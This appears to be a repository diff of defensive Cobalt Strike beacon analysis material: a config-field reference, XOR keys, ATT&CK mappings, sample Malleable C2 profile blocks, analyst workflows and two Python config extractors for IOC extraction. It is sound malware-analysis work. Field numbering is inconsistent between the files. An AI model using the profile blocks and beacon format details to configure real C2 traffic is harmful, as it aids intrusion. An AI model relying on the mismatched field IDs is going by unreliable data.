| 0x0003 | SleepTime | Int | Beacon callback interval in milliseconds |
|
||||
| 0x0005 | Jitter | Short | Percentage of sleep time randomization (0-99) |
|
||||
| 0x0008 | C2Server | String | Comma-separated C2 domains/IPs |
|
||||
| 0x0009 | UserAgent | String | HTTP User-Agent header value |
|
||||
| 0x000a | PostURI | String | URI for HTTP POST requests |
|
||||
| 0x000d | SpawnTo_x86 | String | 32-bit process to spawn for post-ex |
|
||||
| 0x000e | SpawnTo_x64 | String | 64-bit process to spawn for post-ex |
|
||||
| 0x001a | Watermark | Int | License watermark identifier |
|
||||
| 0x0024 | PipeName | String | Named pipe for SMB beacon |
|
||||
| 0x001d | HostHeader | String | HTTP Host header value |
|
||||
| 0x0032 | ProxyHostname | String | Proxy server address |
|
||||
|
||||
### XOR Encoding Scheme
|
||||
- **Cobalt Strike 3.x**: XOR key = 0x69
|
||||
- **Cobalt Strike 4.x**: XOR key = 0x2e
|
||||
- Configuration blob size: 4096 bytes (typical)
|
||||
- Encoding: Single-byte XOR across entire config blob
|
||||
|
||||
### Stageless Beacon Structure
|
||||
- PE with beacon code in .data section
|
||||
- 4-byte XOR key applied to .data section content
|
||||
- Configuration embedded after beacon code
|
||||
- Reflective DLL loader prepended to beacon
|
||||
|
||||
## MITRE ATT&CK Mappings
|
||||
|
||||
### Cobalt Strike Techniques (S0154)
|
||||
| Technique | ID | Description |
|
||||
|-----------|-----|------------|
|
||||
| Application Layer Protocol | T1071.001 | HTTP/HTTPS C2 communication |
|
||||
| Encrypted Channel | T1573.002 | AES-256 encrypted C2 |
|
||||
| Ingress Tool Transfer | T1105 | Download additional payloads |
|
||||
| Process Injection | T1055 | Inject into spawned processes |
|
||||
| Named Pipes | T1570 | SMB beacon lateral movement |
|
||||
| Service Execution | T1569.002 | PSExec-style lateral movement |
|
||||
| Reflective Code Loading | T1620 | In-memory beacon loading |
|
||||
|
||||
## Malleable C2 Profile Structure
|
||||
|
||||
### HTTP GET Block
|
||||
```
|
||||
http-get {
|
||||
set uri "/path";
|
||||
client {
|
||||
header "Accept" "text/html";
|
||||
metadata {
|
||||
base64url;
|
||||
prepend "session=";
|
||||
header "Cookie";
|
||||
}
|
||||
}
|
||||
server {
|
||||
header "Content-Type" "text/html";
|
||||
output {
|
||||
print;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### HTTP POST Block
|
||||
```
|
||||
http-post {
|
||||
set uri "/submit";
|
||||
client {
|
||||
id {
|
||||
uri-append;
|
||||
}
|
||||
output {
|
||||
base64;
|
||||
print;
|
||||
}
|
||||
}
|
||||
server {
|
||||
output {
|
||||
print;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
- [Cobalt Strike Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/)
|
||||
- [Malleable C2 Profile Reference](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)
|
||||
- [MITRE ATT&CK Cobalt Strike](https://attack.mitre.org/software/S0154/)
|
||||
@@ -0,0 +1,72 @@
|
||||
# Cobalt Strike Beacon Analysis Workflows
|
||||
|
||||
## Workflow 1: PE File Configuration Extraction
|
||||
|
||||
```
|
||||
[Suspicious PE] --> [Unpack if packed] --> [Locate .data section] --> [XOR Decrypt]
|
||||
|
|
||||
v
|
||||
[Parse TLV Config]
|
||||
|
|
||||
v
|
||||
[Extract C2 Indicators]
|
||||
```
|
||||
|
||||
### Steps:
|
||||
1. **Triage**: Identify file as potential Cobalt Strike beacon via YARA or AV detection
|
||||
2. **Unpacking**: If packed, unpack using appropriate tool (UPX, custom unpacker)
|
||||
3. **Section Analysis**: Locate .data section containing XOR'd beacon code
|
||||
4. **XOR Key Discovery**: Try known keys (0x2e, 0x69) or brute-force 4-byte key
|
||||
5. **Config Parsing**: Parse decrypted TLV entries for C2 and operational settings
|
||||
6. **IOC Extraction**: Extract domains, IPs, URIs, user agents, watermarks
|
||||
|
||||
## Workflow 2: Memory Dump Beacon Extraction
|
||||
|
||||
```
|
||||
[Memory Dump] --> [Volatility3 malfind] --> [Dump Injected Regions] --> [Parse Config]
|
||||
|
|
||||
v
|
||||
[C2 Infrastructure Map]
|
||||
```
|
||||
|
||||
### Steps:
|
||||
1. **Acquisition**: Capture memory dump from compromised system
|
||||
2. **Process Scan**: Use Volatility3 to identify suspicious processes
|
||||
3. **Injection Detection**: Use malfind to find RWX memory regions
|
||||
4. **Region Extraction**: Dump injected memory regions to files
|
||||
5. **Config Search**: Scan dumps for beacon configuration signatures
|
||||
6. **Infrastructure Mapping**: Correlate extracted C2 with network logs
|
||||
|
||||
## Workflow 3: Watermark Attribution
|
||||
|
||||
```
|
||||
[Multiple Beacons] --> [Extract Watermarks] --> [Cluster by Watermark] --> [Attribution]
|
||||
|
|
||||
v
|
||||
[Campaign Correlation]
|
||||
```
|
||||
|
||||
### Steps:
|
||||
1. **Collection**: Gather beacon samples from incident or threat intel feeds
|
||||
2. **Watermark Extraction**: Extract watermark value from each sample
|
||||
3. **Database Lookup**: Check watermark against known databases
|
||||
4. **Clustering**: Group beacons sharing the same watermark
|
||||
5. **Infrastructure Overlap**: Correlate C2 infrastructure across cluster
|
||||
6. **Attribution Assessment**: Link to known threat actor or cracked license
|
||||
|
||||
## Workflow 4: C2 Traffic Detection
|
||||
|
||||
```
|
||||
[Beacon Config] --> [Extract C2 Profile] --> [Generate Signatures] --> [Deploy to NIDS]
|
||||
|
|
||||
v
|
||||
[Monitor Network Traffic]
|
||||
```
|
||||
|
||||
### Steps:
|
||||
1. **Profile Extraction**: Parse malleable C2 profile from beacon config
|
||||
2. **Pattern Identification**: Identify unique HTTP headers, URIs, and encoding
|
||||
3. **Signature Creation**: Write Suricata/Snort rules matching C2 patterns
|
||||
4. **Deployment**: Deploy signatures to network detection infrastructure
|
||||
5. **Validation**: Test signatures against captured beacon traffic
|
||||
6. **Monitoring**: Alert on matching network flows for active beacons
|
||||
@@ -0,0 +1,239 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cobalt Strike beacon configuration extraction and analysis agent.
|
||||
|
||||
Extracts C2 configuration from beacon payloads including server addresses,
|
||||
communication settings, malleable C2 profile details, and watermark values.
|
||||
"""
|
||||
|
||||
import struct
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
from collections import OrderedDict
|
||||
|
||||
# Cobalt Strike beacon configuration field IDs (Type-Length-Value format)
|
||||
BEACON_CONFIG_FIELDS = {
|
||||
1: ("BeaconType", "short"),
|
||||
2: ("Port", "short"),
|
||||
3: ("SleepTime", "int"),
|
||||
4: ("MaxGetSize", "int"),
|
||||
5: ("Jitter", "short"),
|
||||
7: ("PublicKey", "bytes"),
|
||||
8: ("C2Server", "str"),
|
||||
9: ("UserAgent", "str"),
|
||||
10: ("PostURI", "str"),
|
||||
11: ("Malleable_C2_Instructions", "bytes"),
|
||||
12: ("HttpGet_Metadata", "bytes"),
|
||||
13: ("HttpPost_Metadata", "bytes"),
|
||||
14: ("SpawnToX86", "str"),
|
||||
15: ("SpawnToX64", "str"),
|
||||
19: ("CryptoScheme", "short"),
|
||||
26: ("GetVerb", "str"),
|
||||
27: ("PostVerb", "str"),
|
||||
28: ("HttpPostChunk", "int"),
|
||||
29: ("Spawnto_x86", "str"),
|
||||
30: ("Spawnto_x64", "str"),
|
||||
31: ("CryptoScheme2", "str"),
|
||||
37: ("Watermark", "int"),
|
||||
38: ("StageCleanup", "short"),
|
||||
39: ("CFGCaution", "short"),
|
||||
43: ("DNS_Idle", "int"),
|
||||
44: ("DNS_Sleep", "int"),
|
||||
50: ("HostHeader", "str"),
|
||||
54: ("PipeName", "str"),
|
||||
}
|
||||
|
||||
BEACON_TYPES = {0: "HTTP", 1: "Hybrid HTTP/DNS", 2: "SMB", 4: "TCP", 8: "HTTPS", 16: "DNS over HTTPS"}
|
||||
|
||||
XOR_KEY_V3 = 0x69
|
||||
XOR_KEY_V4 = 0x2E
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
"""Compute SHA-256 hash of file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
def find_config_offset(data):
|
||||
"""Find the beacon configuration blob in PE data or shellcode."""
|
||||
# Look for XOR-encoded config patterns
|
||||
for xor_key in [XOR_KEY_V3, XOR_KEY_V4]:
|
||||
# Config starts with 0x0001 (BeaconType field ID) XOR-encoded
|
||||
encoded_marker = bytes([0x00 ^ xor_key, 0x01 ^ xor_key, 0x00 ^ xor_key, 0x01 ^ xor_key])
|
||||
offset = data.find(encoded_marker)
|
||||
if offset != -1:
|
||||
return offset, xor_key
|
||||
# Try unencoded
|
||||
for offset in range(len(data) - 100):
|
||||
if data[offset:offset+4] == b"\x00\x01\x00\x01":
|
||||
return offset, None
|
||||
return -1, None
|
||||
|
||||
|
||||
def xor_decode(data, key):
|
||||
"""XOR decode data with single byte key."""
|
||||
if key is None:
|
||||
return data
|
||||
return bytes(b ^ key for b in data)
|
||||
|
||||
|
||||
def parse_config_field(data, offset):
|
||||
"""Parse a single TLV config field."""
|
||||
if offset + 6 > len(data):
|
||||
return None, None, None, offset
|
||||
field_id = struct.unpack_from(">H", data, offset)[0]
|
||||
field_type = struct.unpack_from(">H", data, offset + 2)[0]
|
||||
if field_type == 1: # short
|
||||
value = struct.unpack_from(">H", data, offset + 4)[0]
|
||||
return field_id, "short", value, offset + 6
|
||||
elif field_type == 2: # int
|
||||
value = struct.unpack_from(">I", data, offset + 4)[0]
|
||||
return field_id, "int", value, offset + 8
|
||||
elif field_type == 3: # str/bytes
|
||||
length = struct.unpack_from(">H", data, offset + 4)[0]
|
||||
if offset + 6 + length > len(data):
|
||||
return None, None, None, offset
|
||||
value = data[offset + 6:offset + 6 + length]
|
||||
return field_id, "str", value, offset + 6 + length
|
||||
return None, None, None, offset + 2
|
||||
|
||||
|
||||
def extract_beacon_config(filepath):
|
||||
"""Extract and parse Cobalt Strike beacon configuration."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
config_offset, xor_key = find_config_offset(data)
|
||||
if config_offset == -1:
|
||||
return {"error": "No beacon configuration found", "file": filepath}
|
||||
|
||||
config_data = xor_decode(data[config_offset:config_offset + 4096], xor_key)
|
||||
config = OrderedDict()
|
||||
config["_meta"] = {
|
||||
"config_offset": f"0x{config_offset:08X}",
|
||||
"xor_key": f"0x{xor_key:02X}" if xor_key else "none",
|
||||
"version_guess": "4.x" if xor_key == XOR_KEY_V4 else "3.x" if xor_key == XOR_KEY_V3 else "unknown",
|
||||
}
|
||||
|
||||
offset = 0
|
||||
max_fields = 100
|
||||
parsed = 0
|
||||
while offset < len(config_data) - 4 and parsed < max_fields:
|
||||
field_id, field_type, value, new_offset = parse_config_field(config_data, offset)
|
||||
if field_id is None or new_offset == offset:
|
||||
break
|
||||
offset = new_offset
|
||||
parsed += 1
|
||||
|
||||
field_info = BEACON_CONFIG_FIELDS.get(field_id)
|
||||
if field_info:
|
||||
field_name, expected_type = field_info
|
||||
if isinstance(value, bytes):
|
||||
try:
|
||||
str_value = value.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||
config[field_name] = str_value
|
||||
except Exception:
|
||||
config[field_name] = value.hex()[:100]
|
||||
elif field_id == 1:
|
||||
config[field_name] = BEACON_TYPES.get(value, f"Unknown({value})")
|
||||
else:
|
||||
config[field_name] = value
|
||||
|
||||
return config
|
||||
|
||||
|
||||
def extract_c2_indicators(config):
|
||||
"""Extract C2 indicators from parsed config for threat intelligence."""
|
||||
indicators = {"c2_servers": [], "user_agents": [], "uris": [],
|
||||
"pipes": [], "watermark": None, "dns": []}
|
||||
c2 = config.get("C2Server", "")
|
||||
if c2:
|
||||
for server in c2.split(","):
|
||||
server = server.strip().rstrip("/")
|
||||
if server:
|
||||
indicators["c2_servers"].append(server)
|
||||
ua = config.get("UserAgent", "")
|
||||
if ua:
|
||||
indicators["user_agents"].append(ua)
|
||||
for key in ["PostURI"]:
|
||||
uri = config.get(key, "")
|
||||
if uri:
|
||||
indicators["uris"].append(uri)
|
||||
pipe = config.get("PipeName", "")
|
||||
if pipe:
|
||||
indicators["pipes"].append(pipe)
|
||||
wm = config.get("Watermark")
|
||||
if wm:
|
||||
indicators["watermark"] = wm
|
||||
return indicators
|
||||
|
||||
|
||||
def assess_operator_opsec(config):
|
||||
"""Assess operator OPSEC based on beacon configuration."""
|
||||
findings = []
|
||||
sleep = config.get("SleepTime", 0)
|
||||
jitter = config.get("Jitter", 0)
|
||||
if sleep < 30000:
|
||||
findings.append({"level": "INFO", "detail": f"Low sleep time: {sleep}ms - high beacon frequency"})
|
||||
if jitter == 0:
|
||||
findings.append({"level": "WARN", "detail": "No jitter configured - predictable beacon interval"})
|
||||
ua = config.get("UserAgent", "")
|
||||
if "Mozilla" not in ua and ua:
|
||||
findings.append({"level": "WARN", "detail": f"Non-standard User-Agent: {ua[:60]}"})
|
||||
spawn86 = config.get("SpawnToX86", config.get("Spawnto_x86", ""))
|
||||
if "rundll32" in spawn86.lower():
|
||||
findings.append({"level": "INFO", "detail": "Default spawn-to process (rundll32) - easy to detect"})
|
||||
cleanup = config.get("StageCleanup", 0)
|
||||
if cleanup == 0:
|
||||
findings.append({"level": "INFO", "detail": "Stage cleanup disabled - beacon stub remains in memory"})
|
||||
return findings
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Cobalt Strike Beacon Configuration Extractor")
|
||||
print("C2 extraction, watermark analysis, OPSEC assessment")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if not target or not os.path.exists(target):
|
||||
print("\n[DEMO] Usage: python agent.py <beacon_sample.exe>")
|
||||
print(" Extracts: C2 servers, sleep/jitter, watermark, malleable profile")
|
||||
sys.exit(0)
|
||||
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
print(f"[*] SHA-256: {compute_hash(target)}")
|
||||
print(f"[*] Size: {os.path.getsize(target)} bytes")
|
||||
|
||||
config = extract_beacon_config(target)
|
||||
|
||||
if "error" in config:
|
||||
print(f"\n[!] {config['error']}")
|
||||
sys.exit(1)
|
||||
|
||||
print("\n--- Beacon Configuration ---")
|
||||
for key, value in config.items():
|
||||
if key == "_meta":
|
||||
for mk, mv in value.items():
|
||||
print(f" {mk}: {mv}")
|
||||
else:
|
||||
print(f" {key}: {value}")
|
||||
|
||||
indicators = extract_c2_indicators(config)
|
||||
print("\n--- C2 Indicators ---")
|
||||
for c2 in indicators["c2_servers"]:
|
||||
print(f" [C2] {c2}")
|
||||
if indicators["watermark"]:
|
||||
print(f" [Watermark] {indicators['watermark']}")
|
||||
for pipe in indicators["pipes"]:
|
||||
print(f" [Pipe] {pipe}")
|
||||
|
||||
opsec = assess_operator_opsec(config)
|
||||
print("\n--- Operator OPSEC Assessment ---")
|
||||
for f in opsec:
|
||||
print(f" [{f['level']}] {f['detail']}")
|
||||
@@ -0,0 +1,337 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Cobalt Strike Beacon Configuration Analyzer
|
||||
|
||||
Extracts and analyzes beacon configurations from PE files, shellcode,
|
||||
and memory dumps using dissect.cobaltstrike and manual parsing.
|
||||
|
||||
Requirements:
|
||||
pip install dissect.cobaltstrike pefile yara-python
|
||||
|
||||
Usage:
|
||||
python process.py --file beacon.exe --output report.json
|
||||
python process.py --file memdump.bin --scan-memory
|
||||
python process.py --directory ./samples --batch
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import struct
|
||||
import sys
|
||||
from collections import defaultdict
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
from dissect.cobaltstrike.beacon import BeaconConfig
|
||||
except ImportError:
|
||||
print("ERROR: dissect.cobaltstrike not installed.")
|
||||
print("Run: pip install dissect.cobaltstrike")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# TLV field type mapping
|
||||
TLV_FIELDS = {
|
||||
0x0001: ("BeaconType", "short"),
|
||||
0x0002: ("Port", "short"),
|
||||
0x0003: ("SleepTime", "int"),
|
||||
0x0004: ("MaxGetSize", "int"),
|
||||
0x0005: ("Jitter", "short"),
|
||||
0x0006: ("MaxDNS", "short"),
|
||||
0x0008: ("C2Server", "str"),
|
||||
0x0009: ("UserAgent", "str"),
|
||||
0x000a: ("PostURI", "str"),
|
||||
0x000b: ("Malleable_C2_Instructions", "blob"),
|
||||
0x000d: ("SpawnTo_x86", "str"),
|
||||
0x000e: ("SpawnTo_x64", "str"),
|
||||
0x000f: ("CryptoScheme", "short"),
|
||||
0x001a: ("Watermark", "int"),
|
||||
0x001d: ("HostHeader", "str"),
|
||||
0x0024: ("PipeName", "str"),
|
||||
0x0025: ("Year", "short"),
|
||||
0x0026: ("Month", "short"),
|
||||
0x0027: ("Day", "short"),
|
||||
0x002c: ("ProxyHostname", "str"),
|
||||
0x002d: ("ProxyUsername", "str"),
|
||||
0x002e: ("ProxyPassword", "str"),
|
||||
}
|
||||
|
||||
BEACON_TYPES = {
|
||||
0: "HTTP",
|
||||
1: "Hybrid HTTP/DNS",
|
||||
2: "SMB",
|
||||
4: "TCP",
|
||||
8: "HTTPS",
|
||||
10: "TCP Bind",
|
||||
14: "External C2",
|
||||
}
|
||||
|
||||
|
||||
class BeaconAnalyzer:
|
||||
"""Analyze Cobalt Strike beacon configurations."""
|
||||
|
||||
def __init__(self):
|
||||
self.results = []
|
||||
|
||||
def analyze_file(self, filepath):
|
||||
"""Extract beacon config from a file."""
|
||||
filepath = Path(filepath)
|
||||
if not filepath.exists():
|
||||
print(f"[-] File not found: {filepath}")
|
||||
return None
|
||||
|
||||
print(f"[*] Analyzing: {filepath}")
|
||||
|
||||
# Try dissect.cobaltstrike first
|
||||
result = self._extract_with_dissect(filepath)
|
||||
|
||||
# Fall back to manual extraction
|
||||
if not result:
|
||||
result = self._extract_manual(filepath)
|
||||
|
||||
if result:
|
||||
result["source_file"] = str(filepath)
|
||||
result["analysis_time"] = datetime.now().isoformat()
|
||||
self.results.append(result)
|
||||
|
||||
return result
|
||||
|
||||
def _extract_with_dissect(self, filepath):
|
||||
"""Extract config using dissect.cobaltstrike library."""
|
||||
try:
|
||||
configs = list(BeaconConfig.from_path(filepath))
|
||||
if not configs:
|
||||
return None
|
||||
|
||||
config = configs[0]
|
||||
settings = config.as_dict()
|
||||
|
||||
result = {
|
||||
"method": "dissect.cobaltstrike",
|
||||
"config": {},
|
||||
"indicators": {},
|
||||
}
|
||||
|
||||
for key, value in settings.items():
|
||||
if value is not None:
|
||||
result["config"][key] = str(value)
|
||||
|
||||
result["indicators"] = self._extract_indicators(settings)
|
||||
return result
|
||||
|
||||
except Exception as e:
|
||||
print(f" [!] dissect extraction failed: {e}")
|
||||
return None
|
||||
|
||||
def _extract_manual(self, filepath):
|
||||
"""Manual XOR-based config extraction."""
|
||||
try:
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
except Exception as e:
|
||||
print(f" [!] Read failed: {e}")
|
||||
return None
|
||||
|
||||
for xor_key in [0x2e, 0x69]:
|
||||
# Search for XOR'd config start marker
|
||||
magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,
|
||||
0x00 ^ xor_key, 0x02 ^ xor_key])
|
||||
|
||||
offset = data.find(magic)
|
||||
if offset == -1:
|
||||
continue
|
||||
|
||||
print(f" [+] Config found at 0x{offset:x} (XOR key: 0x{xor_key:02x})")
|
||||
|
||||
config_blob = data[offset:offset + 4096]
|
||||
decrypted = bytes([b ^ xor_key for b in config_blob])
|
||||
|
||||
entries = self._parse_tlv(decrypted)
|
||||
if entries:
|
||||
return {
|
||||
"method": "manual_xor",
|
||||
"xor_key": f"0x{xor_key:02x}",
|
||||
"config_offset": f"0x{offset:x}",
|
||||
"config": entries,
|
||||
"indicators": self._extract_indicators(entries),
|
||||
}
|
||||
|
||||
return None
|
||||
|
||||
def _parse_tlv(self, data):
|
||||
"""Parse TLV configuration entries."""
|
||||
entries = {}
|
||||
offset = 0
|
||||
|
||||
while offset + 6 <= len(data):
|
||||
try:
|
||||
entry_type = struct.unpack(">H", data[offset:offset+2])[0]
|
||||
data_type = struct.unpack(">H", data[offset+2:offset+4])[0]
|
||||
entry_len = struct.unpack(">H", data[offset+4:offset+6])[0]
|
||||
except struct.error:
|
||||
break
|
||||
|
||||
if entry_type == 0 or entry_len > 4096:
|
||||
break
|
||||
|
||||
value_data = data[offset+6:offset+6+entry_len]
|
||||
field_info = TLV_FIELDS.get(entry_type)
|
||||
|
||||
if field_info:
|
||||
field_name, expected_type = field_info
|
||||
else:
|
||||
field_name = f"Unknown_0x{entry_type:04x}"
|
||||
expected_type = "blob"
|
||||
|
||||
if data_type == 1 and len(value_data) >= 2:
|
||||
value = struct.unpack(">H", value_data[:2])[0]
|
||||
elif data_type == 2 and len(value_data) >= 4:
|
||||
value = struct.unpack(">I", value_data[:4])[0]
|
||||
elif data_type == 3:
|
||||
value = value_data.rstrip(b'\x00').decode('utf-8', errors='replace')
|
||||
else:
|
||||
value = value_data.hex()
|
||||
|
||||
# Resolve beacon type names
|
||||
if field_name == "BeaconType" and isinstance(value, int):
|
||||
value = BEACON_TYPES.get(value, f"Unknown ({value})")
|
||||
|
||||
entries[field_name] = value
|
||||
offset += 6 + entry_len
|
||||
|
||||
return entries
|
||||
|
||||
def _extract_indicators(self, config):
|
||||
"""Extract IOCs from parsed configuration."""
|
||||
indicators = {
|
||||
"c2_servers": [],
|
||||
"user_agent": "",
|
||||
"named_pipes": [],
|
||||
"spawn_processes": [],
|
||||
"watermark": "",
|
||||
"beacon_type": "",
|
||||
"sleep_time_ms": 0,
|
||||
"jitter_pct": 0,
|
||||
}
|
||||
|
||||
# Handle both dissect dict keys and manual parse keys
|
||||
c2_keys = ["SETTING_DOMAINS", "C2Server"]
|
||||
for key in c2_keys:
|
||||
domains = config.get(key, "")
|
||||
if domains:
|
||||
for d in str(domains).split(","):
|
||||
d = d.strip().rstrip("/")
|
||||
if d:
|
||||
indicators["c2_servers"].append(d)
|
||||
|
||||
ua_keys = ["SETTING_USERAGENT", "UserAgent"]
|
||||
for key in ua_keys:
|
||||
ua = config.get(key, "")
|
||||
if ua:
|
||||
indicators["user_agent"] = str(ua)
|
||||
|
||||
pipe_keys = ["SETTING_PIPENAME", "PipeName"]
|
||||
for key in pipe_keys:
|
||||
pipe = config.get(key, "")
|
||||
if pipe:
|
||||
indicators["named_pipes"].append(str(pipe))
|
||||
|
||||
spawn_keys = [
|
||||
("SETTING_SPAWNTO_X86", "SpawnTo_x86"),
|
||||
("SETTING_SPAWNTO_X64", "SpawnTo_x64"),
|
||||
]
|
||||
for dissect_key, manual_key in spawn_keys:
|
||||
for key in [dissect_key, manual_key]:
|
||||
proc = config.get(key, "")
|
||||
if proc:
|
||||
indicators["spawn_processes"].append(str(proc))
|
||||
|
||||
wm_keys = ["SETTING_WATERMARK", "Watermark"]
|
||||
for key in wm_keys:
|
||||
wm = config.get(key, "")
|
||||
if wm:
|
||||
indicators["watermark"] = str(wm)
|
||||
|
||||
return indicators
|
||||
|
||||
def batch_analyze(self, directory):
|
||||
"""Analyze all files in a directory."""
|
||||
directory = Path(directory)
|
||||
extensions = {".exe", ".dll", ".bin", ".dmp", ".raw"}
|
||||
|
||||
for filepath in directory.rglob("*"):
|
||||
if filepath.suffix.lower() in extensions:
|
||||
self.analyze_file(filepath)
|
||||
|
||||
return self.results
|
||||
|
||||
def cluster_by_watermark(self):
|
||||
"""Cluster analyzed beacons by watermark."""
|
||||
clusters = defaultdict(list)
|
||||
|
||||
for result in self.results:
|
||||
wm = result.get("indicators", {}).get("watermark", "unknown")
|
||||
clusters[wm].append(result.get("source_file", "unknown"))
|
||||
|
||||
return dict(clusters)
|
||||
|
||||
def generate_report(self, output_path=None):
|
||||
"""Generate JSON analysis report."""
|
||||
report = {
|
||||
"analysis_date": datetime.now().isoformat(),
|
||||
"total_beacons": len(self.results),
|
||||
"watermark_clusters": self.cluster_by_watermark(),
|
||||
"all_c2_servers": list(set(
|
||||
server
|
||||
for r in self.results
|
||||
for server in r.get("indicators", {}).get("c2_servers", [])
|
||||
)),
|
||||
"results": self.results,
|
||||
}
|
||||
|
||||
if output_path:
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"[+] Report saved to {output_path}")
|
||||
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Cobalt Strike Beacon Configuration Analyzer"
|
||||
)
|
||||
parser.add_argument("--file", help="Single file to analyze")
|
||||
parser.add_argument("--directory", help="Directory for batch analysis")
|
||||
parser.add_argument("--output", default="beacon_report.json",
|
||||
help="Output report path")
|
||||
parser.add_argument("--scan-memory", action="store_true",
|
||||
help="Treat input as raw memory dump")
|
||||
parser.add_argument("--batch", action="store_true",
|
||||
help="Batch analyze directory")
|
||||
|
||||
args = parser.parse_args()
|
||||
analyzer = BeaconAnalyzer()
|
||||
|
||||
if args.file:
|
||||
result = analyzer.analyze_file(args.file)
|
||||
if result:
|
||||
print(json.dumps(result, indent=2, default=str))
|
||||
|
||||
elif args.directory and args.batch:
|
||||
results = analyzer.batch_analyze(args.directory)
|
||||
print(f"\n[+] Analyzed {len(results)} beacons")
|
||||
|
||||
else:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
report = analyzer.generate_report(args.output)
|
||||
print(f"\n[+] Total C2 servers found: {len(report['all_c2_servers'])}")
|
||||
for server in report["all_c2_servers"]:
|
||||
print(f" {server}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
